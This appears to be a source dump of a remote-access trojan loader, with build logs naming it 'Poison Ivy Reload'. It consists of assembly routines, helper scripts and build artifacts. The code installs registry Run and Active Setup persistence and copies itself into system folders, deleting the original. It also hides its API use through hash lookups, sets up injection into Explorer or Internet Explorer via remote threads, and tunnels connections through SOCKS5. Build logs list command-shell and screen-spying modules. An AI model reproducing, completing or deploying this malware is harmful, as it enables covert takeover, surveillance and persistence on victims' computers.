assume esi: global_data_t
lea eax, [root]
push eax
push dword KEY_ALL_ACCESS
push 0
PUSH_ANSI_STRING 'SOFTWARE\Microsoft\Active Setup\Installed Components'
push dword HKEY_LOCAL_MACHINE
invoke esi.RegOpenKeyExA
test eax, eax
jnz .error_exit
lea ecx, [esi.activex_name]
lea eax, [stub]
invoke esi.RegCreateKeyExW, [root], ecx, 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, eax, 0
test eax, eax
jz .success
invoke esi.RegCloseKey, [root]
jmp .error_exit
.success:
; windows底层有检查字符串的对齐,对齐不正确的话会报错, 所以这里拷贝到堆栈里
lea ebx, [tempkey]
invoke esi.RtlZeroMemory, ebx, 10 * 2
PUSH_WIDE_STRING 'StubPath'
push ebx
invoke esi.lstrcpyW
lea edi, [esi.loader_path]
invoke esi.lstrlenW, edi
add eax, 1
shl eax, 1 ; len * 2
invoke esi.RegSetValueExW, [stub], ebx, 0, REG_SZ, edi, eax
invoke esi.RegCloseKey, [stub]
invoke esi.RegCloseKey, [root]
.error_exit:
ret
endp
FUNCTION_DATA_END add_startup_activex_x86
================================================
FILE: loader v1.0/extra_function/add_startup_hklm_x86.asm
================================================
include '../include/global.inc'
include 'win32a.inc'
use32
FUNCTION_DATA_BEGIN add_startup_hklm_x86
proc add_startup_hklm_x86 stdcall uses ebx esi edi, global_data: dword
locals
root _HKEY ?
tempkey _WCHAR 100 dup(?)
endl
mov esi, [global_data]
assume esi: global_data_t
lea eax, [root]
push eax
push dword KEY_WRITE
push 0
PUSH_ANSI_STRING 'Software\Microsoft\Windows\CurrentVersion\Run'
push dword HKEY_CURRENT_USER
invoke esi.RegOpenKeyExA
test eax, eax
jnz .error_exit
; windows底层有检查字符串的对齐,对齐不正确的话会报错, 所以这里拷贝到堆栈里
lea ebx, [tempkey]
invoke esi.RtlZeroMemory, ebx, 100 * 2
lea ecx, [esi.nklm_name]
push ecx
push ebx
invoke esi.lstrcpyW
lea edi, [esi.loader_path]
invoke esi.lstrlenW, edi
add eax, 1
shl eax, 1 ; len * 2
invoke esi.RegSetValueExW, [root], ebx, 0, REG_SZ, edi, eax
invoke esi.RegCloseKey, [root]
.error_exit:
ret
endp
FUNCTION_DATA_END add_startup_hklm_x86
================================================
FILE: loader v1.0/extra_function/build.bat
================================================
del *.bin
@for /f "delims=" %%i in ('dir *.asm /b') do fasm %%i
================================================
FILE: loader v1.0/extra_function/connect_by_socks5.asm
================================================
include '../include/global.inc'
include 'win32a.inc'
use32
; 定义socks5相关结构
struct socks5req1
Ver _CHAR ?
nMethods _CHAR ?
Methods _CHAR 2 dup(?)
ends
struct socks5ans1
Ver _CHAR ?
Method _CHAR ?
ends
struct socks5req2
Ver _CHAR ?
Cmd _CHAR ?
Rsv _CHAR ?
Atyp _CHAR ?
IPAddr _ULONG ?
Port _USHORT ?
ends
struct socks5ans2
Ver _CHAR ?
_Rep _CHAR ?
Rsv _CHAR ?
Atyp _CHAR ?
Other _CHAR ?
ends
struct authreq
Ver _CHAR ?
ULen _CHAR ?
NamePass _CHAR 256 dup(?)
ends
struct authans
Ver _CHAR ?
Status _CHAR ?
ends
FUNCTION_DATA_BEGIN connect_by_socks5
; 通过socks连接server
proc connect_by_socks5 stdcall server: dword, port: dword
locals
s _SOCKET ?
proxyreq1 socks5req1 ?
proxyreq2 socks5req2 ?
_authreq authreq ?
buf _BYTE 600 dup(?)
user_len _BYTE ?
pass_len _BYTE ?
endl
assume esi: global_data_t
lea eax, [esi.socks5_dns]
movzx ecx, [esi.socks5_port]
invoke esi.connect_server, eax, ecx
cmp eax, SOCKET_ERROR
je .ret
mov [s], eax
mov byte [proxyreq1.Ver], 5
mov byte [proxyreq1.nMethods], 2
mov byte [proxyreq1.Methods], 0
mov byte [proxyreq1.Methods + 1], 2
lea ecx, [proxyreq1]
invoke esi.send_data, esi, [s], ecx, sizeof.socks5req1
cmp eax, SOCKET_ERROR
je .close_and_ret_error
invoke esi.wait_buffer, esi, [s], 3, 0
cmp eax, 0
jle .close_and_ret_error
lea edi, [buf]
invoke esi.RtlZeroMemory, edi, 600
invoke esi.recv, [s], edi, 600, 0
assume edi: socks5ans1
.if ([edi.Ver] <> 5) | (([edi.Method] <> 0) & ([edi.Method] <> 2))
jmp .close_and_ret_error
.endif
lea eax, [esi.socks5_user]
invoke esi.lstrlenA, eax
mov [user_len], al
.if ([edi.Method] = 2) & ([user_len] > 0)
lea eax, [esi.socks5_pass]
invoke esi.lstrlenA, eax
mov [pass_len], al
lea ecx, [_authreq]
invoke esi.RtlZeroMemory, ecx, sizeof.authreq
mov byte [_authreq.Ver], 5
mov al, byte [user_len]
mov [_authreq.ULen], al
lea eax, [esi.socks5_user]
lea edi, [_authreq.NamePass]
invoke esi.lstrcpyA, edi, eax
xor eax, eax
mov al, byte [user_len]
add edi, eax
mov al, byte [pass_len]
mov byte [edi], al
add edi, 1
lea eax, [esi.socks5_pass]
invoke esi.lstrcpyA, edi, eax
xor eax, eax
mov al, byte [pass_len]
add edi, eax
lea ecx, [_authreq]
sub edi, ecx
invoke esi.send_data, esi, [s], ecx, edi
invoke esi.wait_buffer, esi, [s], 3, 0
cmp eax, 0
jle .close_and_ret_error
lea edi, [buf]
invoke esi.RtlZeroMemory, edi, 600
invoke esi.recv, [s], edi, 600, 0
assume edi: authans
.if ([edi.Ver] <> 5) | ([edi.Status] <> 0)
jmp .close_and_ret_error
.endif
.endif
mov byte [proxyreq2.Ver], 5
mov byte [proxyreq2.Cmd], 1
mov byte [proxyreq2.Rsv], 0
mov byte [proxyreq2.Atyp], 1
invoke esi.htons, [port]
mov word [proxyreq2.Port], ax
invoke esi.inet_addr, [server]
mov [proxyreq2.IPAddr], eax
.if (eax = INADDR_NONE)
invoke esi.gethostbyname, [server]
test eax, eax
jz .close_and_ret_error
assume eax: hostent
mov eax, [eax.h_addr_list]
mov eax, [eax]
push dword [eax]
pop dword [proxyreq2.IPAddr]
.endif
lea ecx, [proxyreq2]
invoke esi.send_data, esi, [s], ecx, sizeof.socks5req2
invoke esi.wait_buffer, esi, [s], 3, 0
cmp eax, 0
jle .close_and_ret_error
lea edi, [buf]
invoke esi.RtlZeroMemory, edi, 600
invoke esi.recv, [s], edi, 600, 0
assume edi: socks5ans2
.if ([edi.Ver] <> 5) | ([edi._Rep] <> 0)
jmp .close_and_ret_error
.endif
mov eax, [s]
.ret:
ret
.close_and_ret_error:
invoke esi.closesocket, [s]
mov eax, SOCKET_ERROR
jmp .ret
endp
FUNCTION_DATA_END connect_by_socks5
================================================
FILE: loader v1.0/extra_function/copy_self_x86.asm
================================================
include '../include/global.inc'
include 'win32a.inc'
use32
FUNCTION_DATA_BEGIN copy_self_x86
proc copy_self_x86 stdcall uses ebx esi edi, global_data: dword
locals
copy_to _WCHAR 256 dup(?)
endl
mov esi, [global_data]
assume esi: global_data_t
lea edi, [copy_to]
.if byte [esi.copy_method] = COPY_METHOD_TO_WINDOWS
invoke esi.GetWindowsDirectoryW, edi, 255
.elseif byte [esi.copy_method] = COPY_METHOD_TO_SYSTEM
.if [esi.is_wow64]
push [esi.GetProcAddress]
PUSH_HASH GetSystemWow64DirectoryW
push [esi.kernel32]
call [esi.get_proc_from_hash]
stdcall eax, edi, 255
.else
invoke esi.GetSystemDirectoryW, edi, 255
.endif
.endif
mov dword [edi + eax * 2], '\' ; '\',0
lea eax, [esi.copy_to]
invoke esi.lstrcatW, edi, eax
lea ebx, [esi.loader_path]
invoke esi.lstrcmpiW, edi, ebx
.if eax <> 0
invoke esi.CopyFileW, ebx, edi, true
test eax, eax
jz .error_exit
.if byte [esi.melt] <> 0
invoke esi.DeleteFileW, ebx
.endif
; 将新文件路径写入loader_path
invoke esi.RtlZeroMemory, ebx, 256 * 2
invoke esi.lstrcpyW, ebx, edi
.endif
.error_exit:
ret
endp
FUNCTION_DATA_END copy_self_x86
================================================
FILE: loader v1.0/extra_function/find_process_by_name_x86.asm
================================================
include '../include/global.inc'
include 'win32a.inc'
use32
FUNCTION_DATA_BEGIN find_process_by_name_x86
proc find_process_by_name_x86 stdcall uses ebx esi edi, global_data: dword, name: dword
locals
pe32 PROCESSENTRY32W ?
pid _DWORD ?
endl
mov esi, [global_data]
assume esi: global_data_t
mov [pid], 0
mov [pe32.dwSize], sizeof.PROCESSENTRY32W
invoke esi.CreateToolhelp32Snapshot, TH32CS_SNAPALL, 0
cmp eax, -1
je .ret
mov edi, eax
lea ebx, [pe32]
invoke esi.Process32FirstW, edi, ebx
.while eax <> 0
lea eax, [pe32.szExeFile]
invoke esi.lstrcmpiW, eax, [name]
.if eax = 0
push [pe32.th32ProcessID]
pop [pid]
jmp .close_ret
.endif
invoke esi.Process32NextW, edi, ebx
.endw
.close_ret:
invoke esi.CloseHandle, edi
.ret:
mov eax, [pid]
ret
endp
FUNCTION_DATA_END find_process_by_name_x86
================================================
FILE: loader v1.0/extra_function/get_kernel32_base_x64.asm
================================================
include '../include/global.inc'
use64
FUNCTION_DATA_BEGIN get_kernel32_base_x64
get_kernel32_base_x64:
mov rax, 0x60
mov rax, [gs:rax]
mov rax, [rax + 0x18]
mov rax, [rax + 0x30]
mov rax, [rax]
mov rax, [rax]
mov rax, [rax + 0x10]
ret
FUNCTION_DATA_END get_kernel32_base_x64
================================================
FILE: loader v1.0/extra_function/get_ntdll_base_x64.asm
================================================
include '../include/global.inc'
use64
FUNCTION_DATA_BEGIN get_ntdll_base_x64
get_ntdll_base_x64:
mov rax, 0x60
mov rax, [gs:rax]
mov rax, [rax + 0x18]
mov rax, [rax + 0x30]
mov rax, [rax + 0x10]
ret
FUNCTION_DATA_END get_ntdll_base_x64
================================================
FILE: loader v1.0/extra_function/get_proc_from_hash_x64.asm
================================================
include '../include/global.inc'
use64
; get_proc_from_hash_x64
; 调用例子
; sub rsp, 0x20
; mov rcx, module_base
; mov edx, hash
; mov r8, GetProcAddress
FUNCTION_DATA_BEGIN get_proc_from_hash_x64
get_proc_from_hash_x64:
mov rax, rsp
mov [rax + 0x8], rbx
mov [rax + 0x10], rbp
mov [rax + 0x18], rsi
mov [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3C]
mov r9, rcx
mov rbx, r8
mov ecx, dword[rax + rcx + 0x88]
mov ebp, edx
test ecx, ecx
jz .error_exit
cmp dword [rax + r9 + 0x8C], 0x0
je .error_exit
lea rax, [r9 + rcx]
mov r11d, dword [rax + 0x18]
test r11d, r11d
jz .error_exit
mov r8d, dword [rax + 0x20]
mov edi, dword [rax + 0x1C]
mov esi, dword [rax + 0x24]
add r8, r9
add rdi, r9
add rsi, r9
xor edx, edx
test r11d, r11d
jz .error_exit
.next:
mov r10d, dword [r8]
add r10, r9
xor ecx, ecx
mov al, byte [r10]
mov r14, r10
jmp .calc_hash_check
.calc_hash:
imul ecx, ecx, 0x83
movsx eax, al
add ecx, eax
inc r14
mov al, byte [r14]
.calc_hash_check:
test al, al
jnz .calc_hash
btr ecx, 0x1F
cmp ecx, ebp
je .found
inc edx
add r8, 4
cmp edx, r11d
jb .next
.error_exit:
xor eax, eax
.ret:
mov rbx, [rsp + 0x30]
mov rbp, [rsp + 0x38]
mov rsi, [rsp + 0x40]
mov rdi, [rsp + 0x48]
add rsp, 0x20
pop r14
ret
.found:
test rbx, rbx
jnz .get_proc
movzx ecx, word [rsi + rdx*2]
mov eax, dword [rdi + rcx*4]
add rax, r9
jmp .ret
.get_proc:
mov rdx, r10
mov rcx, r9
call rbx
jmp .ret
FUNCTION_DATA_END get_proc_from_hash_x64
================================================
FILE: loader v1.0/extra_function/inject_to_explorer_code_x64_init.asm
================================================
include '../include/global.inc'
include 'win64a.inc'
use64
macro API64_DECLARE library, [funcname] {
common
library dq ?
forward
funcname dq ?
}
; 批量声明api hash
macro API64_HASH_TABLE library, [funcname] {
forward
local ..c, ..hash
virtual at 0
db `funcname
..hash = 0
repeat $
load ..c from $$+%-1
..hash = ..hash * 131 + ..c
..hash = ..hash and 0xffffffff
end repeat
..hash = ..hash and 0x7fffffff
end virtual
api_hash_t ..hash, x64_global_data_t#.#library, x64_global_data_t#.#funcname
}
macro API64_HASH_TABLE_END {
common
_WORD 0
}
struct x64_global_data_t
API64_DECLARE kernel32,\
LoadLibraryA, GetProcAddress, CloseHandle, OpenProcess, lstrlenW, lstrcatW, lstrcpyW, lstrcmpiW, Sleep, VirtualAllocEx, WriteProcessMemory,\
WaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, ExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread,\
GetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW, GetProcessHeap, HeapAlloc, HeapFree, CreateMutexA, GetLastError, GetCurrentProcess
API64_DECLARE ntdll,\
RtlZeroMemory, RtlMoveMemory
API64_DECLARE advapi32,\
OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegCloseKey
expand_str dq ?
sedebugname dq ?
ends
; rcx = global_data
; rdx = x64_global_data_t
proc init uses rbx rsi rdi
sub rsp, 0x20
mov rsi, rcx
mov rdi, rdx
assume rsi: global_data_t
assume rdi: x64_global_data_t
;call get_kernel32_base_x64
call qword [rsi.get_kernel32_base_x64]
mov [rdi.kernel32], rax
;call get_ntdll_base_x64
call qword [rsi.get_ntdll_base_x64]
mov [rdi.ntdll], rax
mov rcx, [rdi.kernel32]
MOV_HASH edx, GetProcAddress
xor r8, r8
;call get_proc_from_hash_x64
call qword [rsi.get_proc_from_hash_x64]
mov [rdi.GetProcAddress], rax
mov rcx, [rdi.kernel32]
MOV_HASH edx, LoadLibraryA
mov r8, rax
;call get_proc_from_hash_x64
call qword [rsi.get_proc_from_hash_x64]
mov [rdi.LoadLibraryA], rax
PUSH_ANSI_STRING 'advapi32'
pop rcx
call qword [rdi.LoadLibraryA]
mov [rdi.advapi32], rax
call .push_api_table
API64_HASH_TABLE kernel32,\
CloseHandle, OpenProcess, lstrlenW, lstrcatW, lstrcpyW, lstrcmpiW, Sleep, VirtualAllocEx, WriteProcessMemory,\
WaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, ExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread,\
GetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW, GetProcessHeap, HeapAlloc, HeapFree, CreateMutexA, GetLastError, GetCurrentProcess
API64_HASH_TABLE ntdll,\
RtlZeroMemory, RtlMoveMemory
API64_HASH_TABLE advapi32,\
OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegCloseKey
API64_HASH_TABLE_END
.push_api_table:
pop rbx
assume rbx: api_hash_t
.while word [rbx] <> 0
xor rcx, rcx
mov cx, word [rbx.lib_offset]
mov rcx, qword [rdi + rcx]
mov edx, [rbx.hash]
mov r8, [rdi.GetProcAddress]
;call get_proc_from_hash_x64
call qword [rsi.get_proc_from_hash_x64]
xor rcx, rcx
mov cx, word [rbx.save_offset]
mov [rdi + rcx], rax
add rbx, sizeof.api_hash_t
.endw
PUSH_WIDE_STRING '%PROGRAMFILES(X86)%\Internet Explorer\iexplore.exe'
pop [rdi.expand_str]
PUSH_ANSI_STRING 'SeDebugPrivilege'
pop [rdi.sedebugname]
add rsp, 0x20
ret
endp
init_size = $ - init
================================================
FILE: loader v1.0/functions/calc_hash.py
================================================
#coding=utf8
import os
import sys
if __name__ == '__main__':
if len(sys.argv) != 2:
print "python %s " % sys.argv[0]
sys.exit(1)
hash = 0
funcnames = sys.argv[1].split(",")
for f in funcnames:
for c in f:
hash = hash * 131 + ord(c)
hash = hash & 0xffffffff
print "#define\t%s_Hash\t\t\t\t0x%X" % (f, hash & 0x7fffffff)
hash = 0
================================================
FILE: loader v1.0/functions/convert_typedef.py
================================================
# coding=utf-8
# ҪֹһЩ
f = open("functions.txt", "r")
replaces_keyword = {
"WINBASEAPI" : "",
"WINADVAPI" : "",
"FAR" : "",
"__out": "",
"_opt" : "",
"\r": " ",
"\t": " ",
"\n": " "
}
target = f.read()
f.close()
for k in replaces_keyword:
target = target.replace(k, replaces_keyword[k])
ret_type = ""
call_type = ""
func_name = ""
params = ""
current = 0
prev = ""
for c in target:
if c == " ":
if prev in ["", " "]:
continue
elif current != 3:
current = current + 1
elif current == 3:
params = params + c
elif c == '(' and current != 3:
params = '('
current = current + 1
elif c == ';':
print "typedef %s (%s *_%s)%s;" % (ret_type, call_type, func_name, params)
ret_type = ""
call_type = ""
func_name = ""
params = ""
current = 0
prev = ""
continue
else:
if current == 0:
ret_type = ret_type + c
elif current == 1:
call_type = call_type + c
elif current == 2:
func_name = func_name + c
elif current == 3:
params = params + c
prev = c
================================================
FILE: loader v1.0/functions/functions/ReadMe.txt
================================================
========================================================================
控制台应用程序:functions 项目概述
========================================================================
应用程序向导已为您创建了此 functions 应用程序。
本文件概要介绍组成 functions 应用程序的每个文件的内容。
functions.vcxproj
这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。
functions.vcxproj.filters
这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。
functions.cpp
这是主应用程序源文件。
/////////////////////////////////////////////////////////////////////////////
其他标准文件:
StdAfx.h, StdAfx.cpp
这些文件用于生成名为 functions.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。
/////////////////////////////////////////////////////////////////////////////
其他注释:
应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。
/////////////////////////////////////////////////////////////////////////////
================================================
FILE: loader v1.0/functions/functions/Release/functions.Build.CppClean.log
================================================
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\vc120.pdb
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\thumbnail.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\information.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\screenspy.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\process.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\cmd_shell.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\shellcode_main.obj
e:\vx_project\poison ivy reload\loader v1.0\functions\release\functions.exe
e:\vx_project\poison ivy reload\loader v1.0\functions\release\functions.map
e:\vx_project\poison ivy reload\loader v1.0\functions\release\functions.pdb
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.tlog\cl.command.1.tlog
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.tlog\cl.read.1.tlog
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.tlog\cl.write.1.tlog
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.tlog\link.command.1.tlog
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.tlog\link.read.1.tlog
e:\vx_project\poison ivy reload\loader v1.0\functions\functions\release\functions.tlog\link.write.1.tlog
================================================
FILE: loader v1.0/functions/functions/Release/functions.log
================================================
生成启动时间为 2019/6/10 15:44:56。
1>项目“E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\functions\functions.vcxproj”在节点 2 上(Rebuild 个目标)。
1>ClCompile:
C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\CL.exe /c /Zi /nologo /W3 /WX- /sdl /O1 /Ob1 /Oy- /D WIN32 /D NDEBUG /D _CONSOLE /D _LIB /D _USING_V110_SDK71_ /D _MBCS /Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Release\\" /Fd"Release\vc120.pdb" /Gd /TC /analyze- /errorReport:prompt /D _CRT_SECURE_NO_WARNINGS cmd_shell.c functions.c process.c screenspy.c shellcode_main.c information.c thumbnail.c
1>cl : 命令行 warning D9025: 正在重写“/sdl”(用“/GS-”)
cmd_shell.c
functions.c
process.c
screenspy.c
shellcode_main.c
information.c
thumbnail.c
正在生成代码...
Link:
C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\Release\functions.exe" /INCREMENTAL:NO /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\Release\functions.pdb" /MAP /SUBSYSTEM:CONSOLE,"5.01" /OPT:REF /OPT:ICF /ORDER:@"order.txt" /LTCG /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\Release\functions.lib" /MACHINE:X86 /SAFESEH:NO Release\cmd_shell.obj
Release\functions.obj
Release\process.obj
Release\screenspy.obj
Release\shellcode_main.obj
Release\information.obj
Release\thumbnail.obj
LINK : 已指定 /LTCG,但不需要生成代码;从链接命令行中移除 /LTCG 以提高链接器性能
functions.vcxproj -> E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\Release\functions.exe
1>已完成生成项目“E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\functions\functions.vcxproj”(Rebuild 个目标)的操作。
生成成功。
已用时间 00:00:01.32
================================================
FILE: loader v1.0/functions/functions/Release/functions.tlog/functions.lastbuildstate
================================================
#TargetFrameworkVersion=v4.0:PlatformToolSet=v120_xp:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit
Release|Win32|E:\VX_Project\Poison Ivy Reload\loader v1.0\functions\|
================================================
FILE: loader v1.0/functions/functions/apis.inc
================================================
typedef HMODULE(WINAPI *_LoadLibraryA)(__in LPCSTR lpLibFileName);
typedef HMODULE(WINAPI *_LoadLibraryW)(__in LPCWSTR lpLibFileName);
typedef PROC(WINAPI *_GetProcAddress)(__in HMODULE hModule,
__in LPCSTR lpProcName);
typedef HANDLE(WINAPI *_GetCurrentProcess)(VOID);
typedef BOOL(WINAPI *_CloseHandle)(__in HANDLE hObject);
typedef HANDLE(WINAPI *_OpenProcess)(__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId);
typedef int(WINAPI *_lstrlenA)(__in LPCSTR lpString);
typedef int(WINAPI *_lstrlenW)(__in LPCWSTR lpString);
typedef int(WINAPI *_lstrcmpiW)(__in LPCWSTR lpString1, __in LPCWSTR lpString2);
typedef LPVOID(WINAPI *_HeapAlloc)(__in HANDLE hHeap, __in DWORD dwFlags,
__in SIZE_T dwBytes);
typedef LPVOID(WINAPI *_HeapReAlloc)(__inout HANDLE hHeap, __in DWORD dwFlags,
__deref LPVOID lpMem, __in SIZE_T dwBytes);
typedef BOOL(WINAPI *_HeapFree)(__inout HANDLE hHeap, __in DWORD dwFlags,
__drv_freesMem(Mem)
__post __notvalid __deref LPVOID lpMem);
typedef HANDLE(WINAPI *_GetProcessHeap)(VOID);
typedef HMODULE(WINAPI *_GetModuleHandleA)(__in LPCSTR lpModuleName);
typedef DWORD(WINAPI *_GetModuleFileNameW)(__in HMODULE hModule,
LPWSTR lpFilename, __in DWORD nSize);
typedef HANDLE(WINAPI *_CreateMutexA)(
__in LPSECURITY_ATTRIBUTES lpMutexAttributes, __in BOOL bInitialOwner,
__in LPCSTR lpName);
typedef DWORD(WINAPI *_GetLastError)(VOID);
typedef VOID(WINAPI *_Sleep)(__in DWORD dwMilliseconds);
typedef LPVOID(WINAPI *_VirtualAllocEx)(__in HANDLE hProcess,
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect);
typedef BOOL(WINAPI *_VirtualFreeEx)(__in HANDLE hProcess,
__in LPVOID lpAddress, __in SIZE_T dwSize,
__in DWORD dwFreeType);
typedef BOOL(WINAPI *_WriteProcessMemory)(__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in_bcount(nSize) LPCVOID lpBuffer,
__in SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten);
typedef DWORD(WINAPI *_WaitForSingleObject)(__in HANDLE hHandle,
__in DWORD dwMilliseconds);
typedef HANDLE(WINAPI *_CreateToolhelp32Snapshot)(DWORD dwFlags,
DWORD th32ProcessID);
typedef BOOL(WINAPI *_Process32FirstW)(HANDLE hSnapshot,
LPPROCESSENTRY32W lppe);
typedef BOOL(WINAPI *_Process32NextW)(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
typedef DWORD(WINAPI *_ExpandEnvironmentStringsW)(__in LPCWSTR lpSrc,
LPWSTR lpDst,
__in DWORD nSize);
typedef BOOL(WINAPI *_CreateProcessW)(
__in LPCWSTR lpApplicationName, __inout LPWSTR lpCommandLine,
__in LPSECURITY_ATTRIBUTES lpProcessAttributes,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles,
__in DWORD dwCreationFlags, __in LPVOID lpEnvironment,
__in LPCWSTR lpCurrentDirectory, __in LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
typedef HANDLE(WINAPI *_CreateRemoteThread)(
__in HANDLE hProcess, __in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter, __in DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef VOID(WINAPI *_RtlZeroMemory)(IN VOID UNALIGNED *Destination,
IN SIZE_T Length);
typedef VOID(WINAPI *_RtlMoveMemory)(IN VOID UNALIGNED *Destination,
IN CONST VOID UNALIGNED *Source,
IN SIZE_T Length);
typedef NTSTATUS(WINAPI *_RtlCompressBuffer)(
USHORT CompressionFormatAndEngine, PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize, PUCHAR CompressedBuffer,
ULONG CompressedBufferSize, ULONG UncompressedChunkSize,
PULONG FinalCompressedSize, PVOID WorkSpace);
typedef NTSTATUS(WINAPI *_RtlGetCompressionWorkSpaceSize)(
USHORT CompressionFormatAndEngine, PULONG CompressBufferWorkSpaceSize,
PULONG CompressFragmentWorkSpaceSize);
typedef NTSTATUS(WINAPI *_RtlDecompressBuffer)(USHORT CompressionFormat,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalUncompressedSize);
typedef BOOL(WINAPI *_OpenProcessToken)(__in HANDLE ProcessHandle,
__in DWORD DesiredAccess,
__deref_out PHANDLE TokenHandle);
typedef BOOL(WINAPI *_LookupPrivilegeValueA)(__in LPCSTR lpSystemName,
__in LPCSTR lpName, PLUID lpLuid);
typedef BOOL(WINAPI *_AdjustTokenPrivileges)(__in HANDLE TokenHandle,
__in BOOL DisableAllPrivileges,
__in PTOKEN_PRIVILEGES NewState,
__in DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength);
typedef LSTATUS(APIENTRY *_RegOpenKeyExA)(__in HKEY hKey, __in LPCSTR lpSubKey,
__in DWORD ulOptions,
__in REGSAM samDesired,
PHKEY phkResult);
typedef LSTATUS(APIENTRY *_RegCreateKeyExW)(
__in HKEY hKey, __in LPCWSTR lpSubKey, __reserved DWORD Reserved,
__in LPWSTR lpClass, __in DWORD dwOptions, __in REGSAM samDesired,
__in CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult,
LPDWORD lpdwDisposition);
typedef LSTATUS(APIENTRY *_RegSetValueExW)(
__in HKEY hKey, __in LPCWSTR lpValueName, __reserved DWORD Reserved,
__in DWORD dwType, __in_bcount(cbData) CONST BYTE *lpData,
__in DWORD cbData);
typedef LSTATUS(APIENTRY *_RegQueryValueExW)(__in HKEY hKey,
__in LPCWSTR lpValueName,
__reserved LPDWORD lpReserved,
LPDWORD lpType, LPBYTE lpData,
__inout LPDWORD lpcbData);
typedef LSTATUS(APIENTRY *_RegCloseKey)(__in HKEY hKey);
typedef int(PASCAL *_WSAStartup)(__in WORD wVersionRequired,
LPWSADATA lpWSAData);
typedef int(PASCAL *_WSACleanup)(void);
typedef u_short(PASCAL *_htons)(__in u_short hostshort);
typedef u_long(PASCAL *_inet_addr)(__in const char *cp);
typedef struct hostent *(PASCAL *_gethostbyname)(__in_z const char *name);
typedef SOCKET(PASCAL *_socket)(__in int af, __in int type, __in int protocol);
typedef int(PASCAL *_closesocket)(IN SOCKET s);
typedef int(PASCAL *_connect)(__in SOCKET s,
__in_bcount(namelen) const struct sockaddr *name,
__in int namelen);
typedef int(PASCAL *_setsockopt)(__in SOCKET s, __in int level,
__in int optname,
__in_bcount(optlen) const char *optval,
__in int optlen);
typedef int(PASCAL *_send)(__in SOCKET s, __in_bcount(len) const char *buf,
__in int len, __in int flags);
typedef int(PASCAL *_recv)(__in SOCKET s, char *buf, __in int len,
__in int flags);
typedef int(PASCAL *_select)(__in int nfds, __inout fd_set *readfds,
__inout fd_set *writefds,
__inout fd_set *exceptfds,
__in const struct timeval *timeout);
typedef LPWSTR(WINAPI *_lstrcpyW)(LPWSTR lpString1, LPCWSTR lpString2);
typedef LPSTR(WINAPI *_lstrcpyA)(LPSTR lpString1, LPCSTR lpString2);
typedef int(WINAPI *_MessageBoxA)(__in_opt HWND hWnd, __in_opt LPCSTR lpText,
